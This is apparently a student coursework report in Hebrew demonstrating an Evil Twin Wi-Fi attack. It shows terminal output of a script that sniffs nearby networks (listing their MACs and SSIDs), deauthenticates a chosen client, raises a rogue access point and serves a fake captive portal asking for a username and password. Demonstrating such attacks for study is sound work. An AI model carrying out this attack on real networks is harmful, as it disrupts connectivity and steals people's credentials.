Evil Twin Attacks TIA

:מגישים

דביר אברהמי - 207029364 נדב קיסר - 207229477 הראל עזרא – 318926854

התקיפה:

הרצה בסביבת לינוקס.

כרטיס רשת חיצוני: TP-Link TL-WN722N.

.attack.py הרצת הקובץ

https://github.com/Harel-ezra/Evil-Twin-Attack : קוד בגיט

```
)-[/home/kali/Desktop/Evil-Twin-Attack/EvilTwin-code]
   python attack.py
         — EvilTwin Attack ———
Availible Interfaces:
0: lo
1: wlan0
2: wlan1
3: eth0
Choose an interface to sniff: 2
Choose an interface to forward http requests through: 3
OPTIONAL: Timeout for sniffing ( default is 60s ): 20
switching wlan1 to monitor mode...
Sniffing traffic on wlan1...
*********************
       To stop program from running press CTRL+C at any time!
0: MAC: D4:35:1D:6C:E2:34
                                    Channel: 1
                                                         SSID: Avrahami
1: MAC: 00:B8:C2:3E:AE:E4
                                    Channel: 1
                                                         SSID: Hermon
2: MAC: 00:B8:C2:1A:37:B9
                                    Channel: 1
                                                         SSID: hartmann_wifi
                                                         SSID: TP-Link_0653
3: MAC: 60:A4:B7:E4:06:53
                                    Channel: 11
4: MAC: 14:AE:DB:32:81:72
                                    Channel: 5
                                                         SSID: shai
5: MAC: 0C:B9:37:87:23:BB
                                                         SSID: liad 2.4 GHZ
                                   Channel: 6
6: MAC: 4A:F1:7F:1A:21:BA
                                    Channel: 6
                                                         SSID: DIRECT-TYDESKTOP-MVGU62Qms9D
7: MAC: 30:24:78:C0:51:A6
                                    Channel: 11
                                                         SSID: Hasid
```

```
Sniffing traffic on wlan1...
********************
       To stop program from running press CTRL+C at any time!
************************
****** Sniffing wlan1 for 20 seconds ********
0: MAC: D4:35:1D:6C:E2:34
                                      Channel: 1
                                                              SSID: Avrahami
                                                           SSID: Hermon
1: MAC: 00:B8:C2:3E:AE:E4
                                      Channel: 1
2: MAC: 00:B8:C2:1A:37:B9
                                      Channel: 1
                                                             SSID: hartmann wifi
                                                           SSID: Hartmann_wiff
SSID: TP-Link_0653
SSID: shai
SSID: liad 2.4 GHZ
SSID: DIRECT-TYDESKTOP-MVGU62Qms9D
SSID: Hasid
SSID: Levine_Clan
3: MAC: 60:A4:B7:E4:06:53
                                      Channel: 11
4: MAC: 14:AE:DB:32:81:72
                                      Channel: 5
5: MAC: 0C:B9:37:87:23:BB
                                      Channel: 6
6: MAC: 4A:F1:7F:1A:21:BA
                                      Channel: 6
7: MAC: 30:24:78:C0:51:A6
                                      Channel: 11
                                      Channel: 4
8: MAC: 68:FF:7B:6A:C2:92
                                      Channel: 1
9: MAC: 00:B8:C2:38:0E:A4
                                                           SSID: dolevnahari
******** Finished sniffing wlan1 **********
Please name one of the Access Points above to scan it's clients: Avrahami
Avrahami's connected clients are:
0: A6:81:2B:57:35:A6
Choose a client to attack (by it's index): 0
Sending Deauthentication packets ...
wlan1_1: interface state UNINITIALIZED→ENABLED
wlan1_1: AP-ENABLED
0
saved inputs:
dvir avrahami
new entry
```

Captive portal

Please give my your password (Totally Safe)

Username:
Password: